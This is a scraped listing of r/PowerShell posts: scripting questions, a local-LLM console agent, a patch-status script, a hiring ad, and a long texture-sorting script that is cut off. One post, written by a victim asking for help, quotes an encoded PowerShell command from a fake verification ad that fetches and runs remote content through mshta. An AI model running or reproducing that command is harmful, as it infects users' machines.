r/PowerShell • • Jan 08 '23

Run .exe if registry value exists

1 Upvotes

Hi,

Query from a powershell scripter.

I'm looking to have a batch file that runs gupdate.exe if a certain registry key value equals "1".

Registry path: Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Citrix\Secure Access Client

Registry key : Connected

How can this be scripted?


r/PowerShell • • Jun 14 '26

Script Sharing MiniBot - An OpenAI compatible Powershell console agent.

1 Upvotes

I've been playing around with local models, and I like making stuff myself instead of using someone else's ;P

This isn't meant to show off, it's not polished at all, I didn't try to make it look cool (yet) but it is already very useful, and since it's powershell, it's fully customizable for us

https://github.com/illsk1lls/MiniBot

It's a basic version of something like Grok build or Claude code, or Pi etc... to interact with OpenAI compatible models local or remote

I made this today and the first time it worked I thought it was the coolest thing ever. I know there are mature offerings out there but this is surprisingly effective and useful. I actually have a slightly better version setup on my prod side so i can irm ... | iex it and then have it ask for creds for NPMplus access list locked redirects (which is where my current test model is being served from)

LMK what you think..


r/PowerShell • • Sep 17 '21

Question Why do Powershell cmdlets change so much?

1 Upvotes

I've been trying to follow along a month of lunches, and quite a few commands can't be used anymore. How is one supposed to follow along?

Why do they keep changing them?

Won't this mess up people's scripts that they've written before? When are they going to stop changing them.. and why do they change them? Makes me a bit worried.

I want to master Powershell, but if the cmdlets keep changing, wtf?

Thanks.


r/PowerShell • • Jul 25 '24

Question how to install .exe silently from powershell

1 Upvotes

I'm still pretty new to powershell. I've downloaded an update for Microsoft Visual Studio pro 2017 from the Microsoft Update Catalog.

I've tried:

Start-Process -Wait -FilePath C:\\Path\\to\\file.exe -Argument "/silent" -PassThrough
Start-Process C:\\Path\\to\\file.exe --install
Start-Process C:\\Path\\to\\file.exe /S
C:\\Path\\to\\file.exe /S
C:\\Path\\to\\file.exe --silent

And quite a few others. Is there not a way to install this silently from powershell? I'm doing this over the network and want to not interrupt the end user if possible.


r/PowerShell • • Aug 02 '22

I've written a PowerShell script to download and install the Brave Browser without opening Edge

0 Upvotes

My first go to action on a new Windows machine was to install Firefox, Chrome and now Brave. I felt discomfort having to open Internet Explorer to perform this action. Edge is a great leap forward from IE, however I haven't adopted it as I'm a big fan of Brave.

I've written this script that downloads the Brave Installer via a PowerShell script confirming first that the Brave Browser isn't already installed.

https://github.com/ServerTribe/Attune-Install-Brave-Browser/blob/master/steps/downloadinstallerforbravebrowserforwindows/script.txt

This script will run the installer and confirm that the Brave Browser installed successfully.

https://github.com/ServerTribe/Attune-Install-Brave-Browser/blob/master/steps/runinstallerforbravebrowseronwindows/script.txt


r/PowerShell • • Oct 11 '26

Script Sharing I wrote a patch status script that exits non-zero when it can't check something

0 Upvotes

Most patch/reboot check scripts I've used print "OK" even when a check silently failed (no rights to WMI, registry key missing, WU agent broken). So I wrote one where the exit code tells the truth:

  • 0: every check ran

  • 2: PARTIAL, at least one check couldn't run, with the reason listed

  • 1: it couldn't write the report

It checks last installed update (flags it if older than N days), pending reboot, uptime, and optionally lists waiting updates through the WU agent. JSON and CSV output.

Every check runs in its own try/catch. A failure doesn't stop the script or get swallowed; it gets recorded:

function Add-CheckNotRun {
    param([string]$Check, [string]$Reason)
    $script:ChecksNotRun += [PSCustomObject]@{ Check = $Check; Result = 'check could not run'; Reason = $Reason }
    Write-Host "  -> CHECK COULD NOT RUN: ${Check}: $Reason" -ForegroundColor Red
}

Pending reboot looks at three sources:

$reasons = @()
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending') {
    $reasons += 'Component Based Servicing'
}
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired') {
    $reasons += 'Windows Update'
}
$sm = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager'
if ($sm.PSObject.Properties['PendingFileRenameOperations'] -and $sm.PendingFileRenameOperations) {
    $reasons += 'Pending file rename operations'
}

And the end of the script decides the exit code:

if (@($script:ChecksNotRun).Count -gt 0) {
    Write-Host " PARTIAL: $(@($script:ChecksNotRun).Count) check(s) could not run." -ForegroundColor Red
    foreach ($c in $script:ChecksNotRun) { Write-Host "   - $($c.Check): $($c.Reason)" -ForegroundColor Red }
    exit 2
}
exit 0

Full script (MIT): https://github.com/Dopelogik/windows-patch-status-report

Feedback welcome, especially on the reboot detection. I know PendingFileRenameOperations can throw false positives from some AV and installers, so I'm curious how others filter it.


r/PowerShell • • Jul 28 '25

Question Can someone tell me what this command would do if I ran it?

4 Upvotes

Hello, I'm looking for a way to shortcut disabling my monitors while leaving other processes running. After some searching I ran across the following. To be clear I have not yet run it and am cross referencing stories as to what it's supposed to do. The advice is to paste the following into a new shortcut.

powershell.exe -Command "(Add-Type '[DllImport(\"user32.dll\")]public static extern int SendMessage(int hWnd,int hMsg,int wParam,int lParam); ' -Name a -Pas)::SendMessage(-1,0x0112,0xF170,2)"


r/PowerShell • • Aug 18 '19

What you prefer in Powershell compared to Bash/Python ?

4 Upvotes

1) What you prefer in Powershell compared to Bash/Python ?

2) How long does it take for someone who already did some programming (C++/C#) and know a very little of PS to become a PS guru and create/automate big scripts etc ? like 6months 10 hours a day or more ?

3) I am studying my Windows Server and Linux and I talked with a lot of (Linux only) admin.. and a lot of them prefer Bash/Python and say it is more powerful or better.. Why there is so much a Bias toward their tech compared to PS ? they are jealous that PS is more modern or more powerful ?


r/PowerShell • • Feb 02 '23

Question Powershell script to shutdown a computer

0 Upvotes

Hi, I could use your help. I am trying to create a Powershell script that allows me to shutdown a computer after 10 minutes. Once I run the script I wanted a window to pop up telling the user that the computer would shut down in 10 minutes, and if he wanted to cancel. If he hit the cancel button the script would stop, if he didn't touch the computer after 10 minutes it would shutdown. Can you help me create a script like this? Thanks.


r/PowerShell • • May 04 '25

Question PowerShell in Win Terminal vs CMD console?

0 Upvotes

I have noticed an odd and annoying difference between running PowerShell in the Windows Terminal and in a CMD console.

If I have a lot of code on screen and it goes past the top line, in CMD.exe I can press HOME twice to go to the top line and it effectively scrolls to the top.
In Windows Terminal, it goes to the top visible line and then beeps at me. I also can't scroll to the "hidden" text.

I tried to have a look at Get-PSReadLineKeyHandler to see if there is a difference there, but the settings there match.

I wouldn't normally care, but my CMD console doesn't seem to pick up Nerd Fonts, so my oh-my-posh prompt doesn't look nice in cmd.exe.

So, my questions are these:

1- Is there a setting I can use to allow me to go to the lines of code that is above the top of the Windows Terminal?
Edit: I canscrollup to see the code, but I'd like to be able to edit it.

2- Is there a way to enable Nerd Fonts in my CMD console so theywill work withoh-my-posh?

3- Is there a way for PowerShell to programmatically detect if it is running in Windows Terminal or CMD.exe, because if so, I would just not run oh-my-posh when using CMD.exe.
It turns out I can use $env:WT_SESSION to detec if I am in Windows Terminal at least.


r/PowerShell • • Aug 23 '24

Powershell script from ad need help

0 Upvotes

hello by mistake i was on a website that opened an ad that seemed like a human verification ,it said to verify press windows r ctrl v and enter then my power shell opened and the line was powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAHEAdQBlAHMAdABlAGQALQBmAGkAbABlAC4AYgAtAGMAZABuAC4AbgBlAHQALwBmAGwAYQByAGUAIgA=

I made a lapse in judgement from ultra fatigue So I need help please 🙏🏽 .

I ran tron script and immediately disconnected from the net , tron came back clear and luckily it’s my gaming rig so nothing of important on here and most accounts got 2fa although I still want to be sure and remove anything malicious without hopefully having to full wipe , can anyone help me see what damage this script has done ?


r/PowerShell • • Jan 02 '24

Question Debugging in Visual Studio 2022 Professional

0 Upvotes

Is there a way to replace the discontinued ISE by Visual Studio 2022 Professional? I can't believe Microsoft doesn't support their own products. There is only some weird 3rd party addon PowerShell Tools for Visual Studio 2022.

Note I don't want to use the Visual Studio Code, it reminds me of Turbo Pascal 5.5 IDE, sorry :-)


r/PowerShell • • Mar 06 '22

Maybe IT isn't me?

Thumbnail self.sysadmin
0 Upvotes

r/PowerShell • • Sep 13 '20

Disable Wifi Adapter

0 Upvotes

Is there a way to disable a Wifi adapter in power shell?


r/PowerShell • • Nov 27 '20

Question A PowerShell script that can copy one folder (with 700 folders, and 50,000 files) to another folder - and produce a detailed timestamped log of the copying process?

0 Upvotes

Hi,

Is there a PowerShell script that can copy one folder (with 700 folders, and 50,000 files) to another folder - and produce a detailed timestamped log of the copying process?

Can anyone provide a script that can do this please? :)


r/PowerShell • • May 27 '19

Basic questions

0 Upvotes

Hi,

I've never used PowerShell yet, I wonder if PowerShell could accomplish those kinds of task:

  1. I have an application (Gateway for Power BI) that requires a login every single time. It simply asks for the organization email. Do you think that PowerShell could automate that process, i.e. launching the 'Gateway' app and enter my email, then click 'Next', then click on my pop-up profile ? Can PowerShell simulate the mouse click ?

  2. The Windows of my firm automatically logs out after about 15 minutes of inactivity. Can PowerShell do some kind of insignificant 'activity' so Windows isn't logged out ? Something like....every 10 minutes, Powershell does something to make Windows believing that we are still active, thus not logging me off.

Thank you very much for your help.


r/PowerShell • • Aug 30 '18

Hiring: Sr. Systems Administrator - In Office (Several location options) or Remote

0 Upvotes

Hi All - I am looking for a Senior Systems Administrator to join our team of 10. We have offices throughout the US (Listed below) if you like to work in an office setting, or can support remote (US) employees for those that do not.

About the environment:

  • ~4,000 servers on prem (Mostly VM)

  • ~300 ESX Servers

  • Predominantly running on VMware, but we also have a good sized (hundreds and growing) footprint in AWS, Azure, and PCF

  • We are about 75 % Windows / 25% Redhat

I am looking for someone who has at least 5-7 years experience at this level (not coming off of the Helpdesk), and ninja level skills in at least three (not necessarily all) areas below :

  • Windows Server

  • AD architecture

  • Scripting / Coding

    • Powershell

    • VBScript

    • Perl

  • Vulnerability Remediation

    • Tenable

  • VMWare

  • RedHat

  • Satelite

  • Ansible

  • Shavlik / SCCM

  • SQL

  • Hadoop

  • Pivotal Cloud Foundry (PCF)

  • AWS

  • Tableau

  • Cisco UCS

Office Locations:

  • Bowie, MD

  • Herndon, VA

  • Snellville, GA

  • Phoenix, AZ

  • Minneapolis, MN

  • Tampa, FL

  • Washington, DC

  • Canonsburg, PA

  • Nashville, TN

  • Remote (USA)

Please feel free to ask questions here if they would apply or be beneficial to the broader audience, or message me directly.


r/PowerShell • • Jun 07 '24

Question Export CSV and have resulting CSV have different headers than what's called

0 Upvotes

I'm exporting a file from Microsoft.Graph with specific user details. I'm wondering if its possible to change the headers in the resulting CSV without having to export the file first then import it and modify it. I also need to add some columns that will have a header but the script will not be searching for the fields.


r/PowerShell • • Jun 21 '23

Question Powershell GUI list view not filtering properly....

0 Upvotes

Hi All! I'm trying to make my first powershell script that filters the content of an xml file in a list view. As you can see by the video, I click on the load xml button, load the xml by selecting the file via windows explorer. Then I attempt to sort via the filter box/button at the bottom, but no matter what I type in, it always returns a blank result.The powershell script, xml, and video are here in this google drive folder:https://drive.google.com/open?id=1lIXnRkNqYw8nv_kwLnXZCgqq7MWnEos9&usp=drive_fs

Bashing my head against the wall because I'm not super familiar with the PS syntax yet. This code above doesn't throw any errors when I run it, so I can't figure out why the results are not showing up. Any thoughts greatly appreciated.

[ UPDATE: Resolved, and code moved from GD to github here: https://github.com/chad-ld/retrobat_xml_tools ]


r/PowerShell • • Sep 19 '21

Daily Post No Stupid Questions!

0 Upvotes

r/PowerShell • • Dec 09 '23

I need help to find out, what slows down my 26k Script

0 Upvotes

Hi all :)

Ii made a Script and now i'm trying to find out 2 things: How can i find out, what codeblock exactly does slow down my script and the second thing is: When i found out it: What can i do? First of all, how you can see, this is a long question, but not only that, also the script is long. It does contain 26k signs. Second: Half of them is debugging, so actualy code is "only" half of it. But the debugging does not make the script slow, because i rely on the speed with deactivated debugging. So please do NOT look on the bad implementation of debugging. Later, i will take $debug2 out probably. $Debug3 i did also deactivate, only $debug1 is activated. Third: I did use powershell for a reason. It shall be a script, which everyone can use with ANY installation of anything. Not even Powershell 7 or a module/package or so.

But to the topic: I asked ChatGPT a lot of times, but he couldn't help me. I did this script with help from ChatGPT, so i have actually very less programming-knowledge. So to say it: Before i startet with creating this script, i had 0 knowledge. I did not even know, what debugging is. And that was 1 week ago. So if you can help me, im VERY thankfully, but pls hold that in mind.

What my script should do:
My scripts need another tool, called ARCtool. It does unpack packed gamefiles of a game. So the Tool does unpack all files in a given folder (and all its subfolders) to .tex files and then further to .dds files. It also creates for each .tex file a .txt file, which contains information about the .dds file.
So and know my script comes in:
It shall copy all dds files out of a folder (and all it's subdirectorys) to a given folder in a specific way AND then write the path of the original and the new path into a csv-file. Because in a second script it will copy back the files to it's respective original location (this question is only about script 1). "In a specific way" means, it does check the information about the .dds files and do then create folders with specific names based on that information. So the tool does mainly filter the .dds files by filename, dds-format and resolution (while the dds-format and resolution is given by the .txt file). And based on these informations, it will create folders with specific names. Basically a whole folderstructure.

What the script actually does:
It does search in a given folder for .txt files which contains "DDSFormat=" and "Width=" and "Height=". Then it searches for .dds files whith the same name in the same subfolder. This is the first loop. Then the second (the big one) lopp begins. Inside this second loop i sort the dds files and do the folder-structur and naming and copying the files and writing the information into the csv. So and i did add 2 progress-functions. One for the first loop and one for the second. Therefore i know already, that the main slow-downs come from the second loop. But i don't know where exactly in the second loop it is coming from because:

I did try to improve the file-checking logic in the second loop. For example i do check for "special" resolution in the second loop, but only probably 20-30% of the files do actually have this "special" resolution. So that means 80-70% have to go through all checks. That's why i did an additional check, which basically checks, if the opposite is true (so if it does have a "normal" resolution). So that means, 70-80% of the files should only pass one of the resolution checks (if it's "normal" resolution), because i did make the other in a else-command. But it did not help for a single second. I did measure the time of how long the script takes on a specific test-folder. It gaves me not a single second less time.
Same principal i did with the filename-checks. ChatGPT suggested me the usage of a variable, which is defined as "false", when i enter the filename-checking proces. If one of the filename-checking is positiv, it will set this variable to true and all other file-name checking will be skipped, because they do only start, when the variable is on false. But... again, it does not gave me a single second time saving.

So that's why i wonder, where the bottleneck is. So what does actually take so much time? I did (i think i did) improve the checking-process a lot, but it gaves me not a single second. So the time-consuming code is not that part. And i want to find out, which one it is. And thats my first question. How the hell can i find out that? Chat GPT did suggest me to use "measure-commands", which you can use for checking, how much time a code-part took. You can even check, how much time it tooks for all iterations.

So an then i tried to implement that in my small loop. It worked, because it's not so complicated. And then i tried to implement it in the second loop, and there it completly fails, because i get errors like "else cmdlet could not be found" and such stuff. But in notepad++ i can clearly see, that each {} is set correctly (it lights up and i can see whre it belongs to). Also i did chatGPT let it write, to make sure, it is correct syntax. but i think, he is not able to to it correctly, he has no understanding of context.

Ok, then i gave up and tried to further improve just the code, but that did not work great (i asked Chat gpt, what i could use to improve). always i got no time imrpovement. But ok, lets come to the important part, the code. I have 4 versions: version 14, version 15.1, version 15.2 and version 15.3. They do all the same, but i tried to make it more perfomant. Did not work. (The description in the script is german)

Before you have a look on the code: Remember only $debug1 is actually true in my tests. And i also do not want to improve debugging-speed, because i will take out $debug 2 later probably. So pls concentrate only on non-debugging stuff. I do share version 14 directly in this post and the rest i will upload in a zip file, because i can not use so much letters in one question i guess.
Here is the zip-file containing all 4 versions:

https://uploadnow.io/f/dd841hx

# Am Anfang des Skripts
$logFile = "C:\Users\Gaming-Tower\Pictures\Textur-Upscaling\DDDA\1-scripttest\upscaled\log.txt"
Start-Transcript -Path $logFile -Append

# Geben Sie Ihre Pfade an
$rootFolder = "C:\Users\Gaming-Tower\Pictures\Textur-Upscaling\DDDA\1-scripttest\ARCtool\enemy"
$outputFolder = "C:\Users\Gaming-Tower\Pictures\Textur-Upscaling\DDDA\1-scripttest\upscaled"
$csvPath = "C:\Users\Gaming-Tower\Pictures\Textur-Upscaling\DDDA\1-scripttest\upscaled\mapping.csv"

# Debugging-Flags
$debug1 = $true  # Aktiviert die von Ihnen angegebenen Debugging-Ausgaben
$debug2 = $false  # Deaktiviert alle anderen Debugging-Ausgaben
$debug3 = $true  # Deaktiviert die Zählfunktion von totalDdsFilesInOutputFolder (Es wird ausgelesen, wie viele .dds Dateien sich am Ende im outputFolder befinden)

# Erstellen Sie leere Strings für die Ausgaben
$output1 = ""
$output2 = ""
$output3 = ""

function Search-DDSFormat {
param (
[string]$filePath
)
$content = Get-Content -Path $filePath
$match = $content | Select-String -Pattern "DDSFormat=(.*)"
$width = $content | Select-String -Pattern "Width=(.*)"
$height = $content | Select-String -Pattern "Height=(.*)"
if ($match) {
    @{
        'DDSFormat' = $match.Matches.Value -replace "DDSFormat="
        'Width' = if ($width) { $width.Matches.Value -replace "Width=", "" } else { $null }
        'Height' = if ($height) { $height.Matches.Value -replace "Height=", "" } else { $null }
    }
}
}

# Definition einiger Variablen
$mapping = @()
$ddsFormatFiles = @()

$files = Get-ChildItem -Path $rootFolder -Recurse -Filter *.txt
$totalDdsFiles = 0
$totalTxtFilesWithDDSFormat = 0
$totalTxtFilesWithWidth = 0
$totalTxtFilesWithHeight = 0
$totalCopiedFiles = 0

# Durchsuchen des Inhalts der .txt Dateien im rootFolder
$filesCount = $files.Count
$k = 0
foreach ($file in $files) {
    $k++
    if ($k % 100 -eq 0) {
        Write-Progress -Activity "Running Script" -Status "Processing File $k of $filesCount" -PercentComplete (($k / $filesCount) * 100)
    }
    if ($debug2) { $output2 += "`nÜberprüfe Datei: $($file.FullName)" } # Debugging-Ausgabe
    $result = Search-DDSFormat -filePath $file.FullName
    if ($result.DDSFormat) {
        $totalTxtFilesWithDDSFormat++
    }
    if ($result.Width) {
        $totalTxtFilesWithWidth++
    }
    if ($result.Height) {
        $totalTxtFilesWithHeight++
    }
    if ($result.DDSFormat -and $result.Width -and $result.Height) {
        $totalTxtFiles++
        $ddsFormatFiles += @{
            'file' = $file
            'format' = $result.DDSFormat
            'width' = $result.Width
            'height' = $result.Height
        }
    }
}

# Filterung und Kopiervorgang der dds Dateien
$ddsFormatFilesCount = $ddsFormatFiles.Count
$j = 0
foreach ($item in $ddsFormatFiles) {
    $j++
    $resolution = ""
    $fileNameCheck = ""
    if ($j % 100 -eq 0) {
        Write-Progress -Activity "Running Script" -Status "Processing Item $j of $ddsFormatFilesCount" -PercentComplete (($j / $ddsFormatFilesCount) * 100)
    }
    $file = $item['file']
    $result = $item['format']
    $width = $item['width']
    $height = $item['height']
    $ddsFile = Get-ChildItem -Path (Split-Path $file.FullName) -Filter ($file.BaseName + ".dds") -Recurse
    if ($ddsFile) {
        if ($debug2) { $output2 += "`nFound .dds file: $($ddsFile.FullName)" } # Debugging-Ausgabe
        $totalDdsFiles++
        $godFatherFolder = Join-Path -Path $outputFolder -ChildPath $result
        if ($debug2) { $output2 += "`nGodFatherFolder nach der Zuweisung: ${godFatherFolder}" }
              
        # Definieren Sie den Pfad für den GrandParentFolder innerhalb des GodFatherFolder
        $grandParentFolder = Join-Path -Path $godFatherFolder -ChildPath (Split-Path $godFatherFolder -Leaf)

        # Definieren Sie den Pfad für den ParentFolder innerhalb des GrandParentFolder
        $parentFolder = Join-Path -Path $grandParentFolder -ChildPath (Split-Path $godFatherFolder -Leaf)

        # Prüfen, ob die Breite und die Höhe kleiner oder gleich 16 sind
        if ([int]$width -le 16 -and [int]$height -le 16) {
            $godFatherFolder += "_UltraLowRes"
            $grandParentFolder = $godFatherFolder
            $parentFolder = $godFatherFolder
            if ($debug2) { 
                $output2 += "`nBreite und Höhe sind kleiner oder gleich 16, GodFatherFolder: ${godFatherFolder}" 
            }
        } 
        # Prüfen, ob der Dateiname der .dds-Datei dem Muster "*col*_ID.dds" entspricht
        elseif ($ddsFile.Name -match ".*col.*_ID.dds$") {
            $godFatherFolder += "_color"
            $grandParentFolder = $godFatherFolder
            $parentFolder = $godFatherFolder
            if ($debug2) { $output2 += "`nDateiname enthält '*col*_ID.dds', GodFatherFolder: ${godFatherFolder}" }
        } 
        else {
            # Prüfen, ob der Dateiname der .dds-Datei "NM" oder "DM" enthält
            if ($ddsFile.Name -cmatch "NM.*dds$") {
                $godFatherFolder += "_NM"
                if ($debug2) { $output2 += "`nDateiname enthält 'NM', GodFatherFolder: ${godFatherFolder}" }
            } elseif ($ddsFile.Name -cmatch "DM.*dds$") {
                $godFatherFolder += "_NM"
                if ($debug2) { $output2 += "`nDateiname enthält 'DM', GodFatherFolder: ${godFatherFolder}" }
            }

			# Definieren Sie den Pfad für den GrandParentFolder innerhalb des GodFatherFolder
			$grandParentFolder = Join-Path -Path $godFatherFolder -ChildPath (Split-Path $godFatherFolder -Leaf)

            # Prüfen, ob die Breite und die Höhe größer als 2048 sind und gleich sind
            if ([int]$width -gt 2048 -and [int]$height -gt 2048 -and [int]$width -eq [int]$height) {
                $resolution = "_HyperHighResSquare"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
      
            # Prüfen, ob die Breite größer als 2048 ist und die Höhe kleiner oder gleich 2048 ist
            elseif ([int]$width -gt 2048 -and [int]$height -le 2048) {
                $resolution = "_HyperHighResWide"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
            # Prüfen, ob die Höhe größer als 2048 ist und die Breite kleiner oder gleich 2048 ist
            elseif ([int]$height -gt 2048 -and [int]$width -le 2048) {
                $resolution = "_HyperHighResTall"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }

			
            # Prüfen, ob die Breite und die Höhe größer als 1536 und kleiner oder gleich 2048 sind und gleich sind
            if ([int]$width -gt 1536 -and [int]$width -le 2048 -and [int]$height -gt 1536 -and [int]$height -le 2048 -and [int]$width -eq [int]$height) {
                $resolution = "_UltraHighResSquare"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
      
            # Prüfen, ob die Breite größer als 1536 und kleiner oder gleich 2048 ist und die Höhe kleiner oder gleich 1536 ist
            elseif ([int]$width -gt 1536 -and [int]$width -le 2048 -and [int]$height -le 1536) {
                $resolution = "_UltraHighResWide"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
            # Prüfen, ob die Höhe größer als 1536 und kleiner oder gleich 2048 ist und die Breite kleiner oder gleich 1536 ist
            elseif ([int]$height -gt 1536 -and [int]$height -le 2048 -and [int]$width -le 1536) {
                $resolution = "_UltraHighResTall"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }

            # Prüfen, ob die Breite und die Höhe genau 1536 sind
            elseif ([int]$width -eq 1536 -and [int]$height -eq 1536) {
                $resolution = "_SuperHighResSquare"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
            # Prüfen, ob die Breite genau 1536 ist und die Höhe kleiner als 1536 ist
            elseif ([int]$width -eq 1536 -and [int]$height -lt 1536) {
                $resolution = "_SuperHighResWide"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
            # Prüfen, ob die Höhe genau 1536 ist und die Breite kleiner als 1536 ist
            elseif ([int]$height -eq 1536 -and [int]$width -lt 1536) {
                $resolution = "_SuperHighResTall"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
            # Prüfen, ob die Breite und die Höhe größer als 1024 und kleiner als 1536 sind und gleich sind
            elseif ([int]$width -gt 1024 -and [int]$width -lt 1536 -and [int]$height -gt 1024 -and [int]$height -lt 1536 -and [int]$width -eq [int]$height) {
                $resolution = "_HighResSquare"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
            # Prüfen, ob die Breite größer als 1024 und kleiner als 1536 ist und die Höhe kleiner oder gleich 1024 ist
            elseif ([int]$width -gt 1024 -and [int]$width -lt 1536 -and [int]$height -le 1024) {
                $resolution = "_HighResWide"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
            # Prüfen, ob die Höhe größer als 1024 und kleiner als 1536 ist und die Breite kleiner oder gleich 1024 ist
            elseif ([int]$height -gt 1024 -and [int]$height -lt 1536 -and [int]$width -le 1024) {
                $resolution = "_HighResTall"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }
            # Prüfen, ob die Breite und die Höhe kleiner oder gleich 64 sind, aber mindestens einer der Werte größer als 16 ist
            elseif ([int]$width -le 64 -and [int]$height -le 64 -and ([int]$width -gt 16 -or [int]$height -gt 16)) {
                $resolution = "_LowRes"
                $grandParentFolder += $resolution
                if ($debug2) {
                    $output2 += "`nWidth: ${width}"
                    $output2 += "`nHeight: ${height}"
                    $output2 += "`nResolution: ${resolution}"
                }
            }

			# Definieren Sie den Pfad für den ParentFolder innerhalb des GrandParentFolder
			$parentFolder = Join-Path -Path $grandParentFolder -ChildPath (Split-Path $godFatherFolder -Leaf)

            # Prüfen, ob der Dateiname der .dds-Datei "DM" enthält
            if ($ddsFile.Name -cmatch "DM.*dds$") {
                # Prüfen, ob $parentFolder auf "NM" endet und ersetzen Sie es durch "DM", wenn es zutrifft
                if ($parentFolder -match "NM$") {
                    $parentFolder = $parentFolder -replace "NM$", "DM"
                    if ($debug2) { $output2 += "`n'NM' in ParentFolder durch 'DM' ersetzt, neuer ParentFolder: ${parentFolder}" }
                }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "LM" enthält
            if ($ddsFile.Name -cmatch "LM.*dds$") {
                $fileNameCheck = "_LM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), LM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "AM" enthält
            if ($ddsFile.Name -cmatch "AM.*dds$") {
                $fileNameCheck = "_AM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), AM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "BM" enthält
            if ($ddsFile.Name -cmatch "BM.*dds$") {
                $fileNameCheck = "_BM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), BM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "HM" enthält
            if ($ddsFile.Name -cmatch "HM.*dds$") {
                $fileNameCheck = "_HM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), HM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "TM" enthält
            if ($ddsFile.Name -cmatch "TM.*dds$") {
                $fileNameCheck = "_TM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), TM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "CMM" enthält
            if ($ddsFile.Name -cmatch "CMM.*dds$") {
                $fileNameCheck = "_CMM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), CMM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }
            # Prüfen, ob der Dateiname der .dds-Datei "CM" (aber nicht CMM) enthält
            if ($ddsFile.Name -cmatch "_CM([^M].*|)\\.dds$") {
                $fileNameCheck = "_CM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), CM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "GM" enthält
            if ($ddsFile.Name -cmatch "GM.*dds$") {
                $fileNameCheck = "_GM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), GM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "MM" (aber nicht CMM) enthält
            if ($ddsFile.Name -cmatch "_MM.*dds$") {
                $fileNameCheck = "_MM"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), MM gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }

            # Prüfen, ob der Dateiname der .dds-Datei "NUKI" enthält
            if ($ddsFile.Name -cmatch "NUKI.*dds$") {
                $fileNameCheck = "_NUKI"
                $parentFolder += $fileNameCheck
                if ($debug2) { $output2 += "`nDateiname: $($ddsFile.Name), NUKI gefunden, neuer fileNameCheck: ${fileNameCheck}" }
            }
        }

        # Erstellen Sie den GodFatherFolder im Ausgabeordner
        if (-not (Test-Path $godFatherFolder)) {
            $testPathResult = Test-Path $godFatherFolder
            if ($debug2) { $output2 += "`nTest-Path Ergebnis für ${godFatherFolder}: ${testPathResult}" }

            $newItemResult = New-Item -ItemType Directory -Path $godFatherFolder
